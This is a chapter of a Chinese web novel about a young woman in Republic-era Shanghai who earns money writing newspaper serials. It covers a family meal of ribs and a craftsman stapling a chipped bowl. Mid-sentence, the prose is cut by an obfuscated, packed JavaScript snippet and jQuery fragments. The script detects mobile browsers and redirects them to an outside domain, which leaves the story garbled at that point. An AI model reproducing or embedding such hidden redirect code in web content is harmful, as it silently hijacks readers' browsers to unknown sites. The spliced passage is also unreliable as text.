“你们要用蚊香吗?”
姚晓瑜问道,被蚊香丑到的众人纷纷摇头,她便只取了两个蚊香圈放到火边,利用做饭的热度尽快烘干。
阴干的蚊香效果最好,但她不想等了。
当天晚上,姚晓瑜难得睡了个好觉。
日子就这么流水一般的过着,稿纸一张张的送到报社,银元一枚一枚的进了姚家,小鱼先生的名声越叫越响,丁娴的故事也随着越印越多的报纸传遍了上海。
“据说现在家中养了女儿的,都会订一张有丁娴故事的报纸。”
周春花兴致勃勃的跟姚晓瑜八卦,孙女在家里不知道,她之前在上班的路上,还听到几个女孩子说以后长大了要嫁给小鱼先生呢。
“为什么?”
姚晓瑜有些好奇,现在还没有到思想解放的时候,她这个文章其实会被归为“不该看的杂书”的,父母不反对已经是开明的表现,鼓励……
“好像是有户人家的女儿买了报纸,然后发现她嫁的人家耍的手段跟丁娴公婆的一模一样,消息传开以后,不少人家怕自家姑娘也碰上这种心眼子,便买了报纸让女儿学。”
姚晓瑜瞪大了眼睛,确定周春花没有开玩笑后,整个人都惊呆了:
“我真的是随便写的!”
打脸的剧情在现代都快被写烂了,她也只是换了换时间背景而已,非要说花了什么心思,那也就是在文字上下足了功夫,让事情读起来显得尤为真实罢了。
“我知道,但那姑娘的状况就是那么巧合。”
周春花也觉得怪有缘分——竹马的小哥哥青梅的她,变心的丈夫只要嫁妆的家,除了时间地点人物不对,剩下的匹配度几乎是百分百,不然也不能让那傻姑娘当场破防。
现在那姑娘已经带着和离书回了家里,据说那写了丁娴教训公婆的报纸直接被请进了祠堂,那户人家还放出话来:女儿因丁娴传才脱离苦海,若是小鱼先生肯光临寒舍,他们必有重谢。
重谢不是什么空口白话,要知道,那姑娘的父母在前些年可是开钱庄的,近几年又搭上了洋人,把钱庄变成了银行,手中金山银海的淌,珍珠如土玉如铁放在这家可是写实的![1]
“不过坊里都说,他们是瞧上了小鱼先生的才气,想招他做女婿呢。”
周春花说到这里,终于憋不住的笑出了声。
姚晓瑜:……
***
“这排骨是新鲜的吗?”
姚晓瑜用指尖碰了碰猪肉,摁出来的小坑转眼便复了原。
“肯定新鲜,我天不亮才杀的猪。”
肉贩拍着胸脯跟姚晓瑜保证,小姑娘没什么经验,后面跟着的周春花可不是吃素的,况且这姚家的姑娘是个财神,每次停在他的摊位面前,动辄便是几个银角子,只是总捡着没人的时候来。
“这里到这里的两块排骨,我都要了。”
姚晓瑜比划了一下肋排的位置,今天有喜事,她准备在肉摊上豪气一把——还没卖出去的两大扇排骨,她都要了!
“小鱼……”
周春花皱着眉头想说什么,姚晓瑜瞧了一眼她身后的背篓,周春花便没再说话。
孙女刚给家里出了一大笔银元,排骨便是买的再多,也抵不过攒了这么久钱才背回来的铁锅。
罢了罢了,左右小鱼手上也没多少钱,花就花了吧。
“都要?”
虽然知道姚家姑娘的大手笔,但肉贩子还是又确认了一遍。
“嗯,但是只要肋排,其他的部分不要,再加一块肥肉。”
比起身体偏爱的红烧肉,姚晓瑜更喜欢的还是这种只有一根大骨头的精排,可这种部位在姚家眼中是不划算的,也就是今天她把铁锅买回来了,姚晓瑜才打算奢侈一把。
“肯定不带着其他地方。”
肉贩眉飞色舞的应下,三两下将脊骨杂骨之类的部分跟排骨分开,还贴心的问姚晓瑜要不要帮着剁块。
“横着剁几刀就行。”
周春花开了口,本来想乘机掺点肉,多赚点钱的肉贩顿时蔫巴了。
姚晓瑜:……
这就是为什么她以前不爱在超市以外的地方买菜,玩不过,真的玩不过。
进入姚家的铁锅得到了隆重的欢迎仪式——先用一整块猪皮部分将锅里擦拭一遍,用清水洗净后又用大块的肥肉熬了两碗猪油,将锅狠狠润过,才将分割开的的排骨通通下锅,做出整整一盆子的荤食。
“今天不是红烧肉吗?”
姚晓丽瞧着巴掌长的排骨,有些好奇,之前家里没有铁锅,姚晓瑜领了稿费,买的总是适合炖煮的纯肉,姚晓丽已经将红煨肉和姚晓瑜外出画上了等号。
二年级的小学生没什么文化,分不清厨房中的烧和煨。
“今天换个口味。”
姚晓瑜端着米饭,看着红烧排骨熟悉的颜色,想到自己从此告别清一色的蒸菜,只觉得天空都明亮了。
温柔的手艺一般,但排骨很新鲜,又舍得放调料,只要牙齿稍稍用力,光溜溜的一整根骨头就被扯出来,姚晓瑜先用筷子夹,后面觉得不过瘾,仗着都是家里人不需要形象,索性直接上了手。
嘴一张一合,手跟撸串一样攥着排骨往旁边一拉,鲜美的肉汁在唇舌之间爆开,用力嚼用力咽,姚晓瑜吃的酣畅淋漓。
费劲的用着筷子折腾排骨的姚晓丽看着羡慕,见家里人对姐姐的做法没多大意见,便也试探着将吃排骨的工具从竹著换成了手,一口下去直接打开了新世界的大门。
一盆排骨放在桌上,本来应该是个高兴的好日子,偏姚晓丽啃排骨啃的一手油腻,抓碗的时候一打滑,碗磕在桌上碰出个口子。
“啪啦!”
所有人的动作都停住了,六双眼睛都汇聚在瓷碗的缺口上,姚晓丽脸唰一下就白了。
“没事,碎碎平安。”
姚晓瑜打了个圆场,空气重新开始流动,周春花比划着碗的缺口,有点估不清尺寸。
“这有一寸吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820758|174337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
补碗的钉子是按寸算的,一般都是头尾各有一个钉,然后就是中间一寸一个钉,按照钉子的使用数量算钱。
“多准备点几个铜元吧。”
温柔叹了口气,有姚晓瑜在,家里的状况好了不少,但姚晓瑜除了在吃食上大方,其他方面都活的挺凑合,家里的碗拢共也没几只,碎了真的有点心疼。
“我记得那补碗刘的手艺还行……”
这个时代称呼手艺人,一般都是职业加姓氏,比如那有名的刷子李泥人张,补碗刘就是对姓刘的补碗匠的叫法,但他并不只会补碗,而是锅碗瓢盆瓦罐大缸都有两手,只要没碎成沫又肯出钱,都能修的完完整整。[2]
温柔跟周春花讨论起哪个补碗匠的手艺好价格公道,姚晓瑜听得津津有味,连带着对明天都有了些期待——补锅补碗的手艺,她在现代刷视频的时候都没见过!
第二天周春花起得比往日都早,吃了两口粥便匆匆往外走:补碗的匠人会四处招揽生意,周春花要是走的晚了,等补碗的匠人出了门,那这碗还得耽搁上一天。
姚家的碗只比人多两个,但那备用的里面装着满当当的猪油动不了,今个儿的碗修不好,姚晓丽就得用盘子吃饭,影响形象倒是七尺,主要盘子真不方便喝粥。
姚天睿上班,姚晓丽上学,家里很快的就从热闹的六人变成了三人,姚晓瑜正琢磨着是先看报还是先码字,姚家的门就被敲响了。
周春花找的补碗匠到了。
姚晓瑜一点不犹豫的鸽了今天的更新,开始观察补碗师傅是怎么干活的——
坐在小板凳上的刘师傅用垫布垫好了膝盖,把瓷碗掉落的地方重新拼合回去,里面用铁丝圈子撑开,便开始在碎片和瓷碗上面打孔。
打孔的工具有点像拉二胡的弦弓,钻头是极小的一粒闪亮的东西,会发出轻微的嗡嗡声,姚晓瑜看的好奇,刘师傅也不瞒着:
“这是金刚石,硬的很。”
刘师傅不担心姚晓瑜会抢生意,别看金刚石只有那么一丁点,但这玩意可贵着呢,更何况修盆补碗也要手艺,若是她真的光靠看就能把自己的手艺摸索出来,那更是不用担心——
有这种本事的,随便做点事情都比当补碗匠人赚的钱多。
姚晓瑜不清楚刘师傅的小算盘,她已经被钻头的材质给震惊了。
金刚石可能有些人不了解,但它的别称是钻石,便是极小的一粒都价值不菲。
四个被抹了清油的孔洞打出来,刘师傅飞快的用类似订书钉的锔定把断裂的地方重新连接起来,然后抹上一层白色的灰膏,再把多余的灰膏刮掉,这个碗就算是做完了,只是那缺口的裂缝显眼的很,瞧着实在不大和谐。
但这都是小事,能用才是最重要的。
温柔付了钱,刘师傅便收了东西从院子里出去。
“锔锅锔盆锔大缸嘞——”
有点耳熟的吆喝声渐渐走远,姚晓瑜看着被修好的瓷碗,脑子里冒出好几个灵感。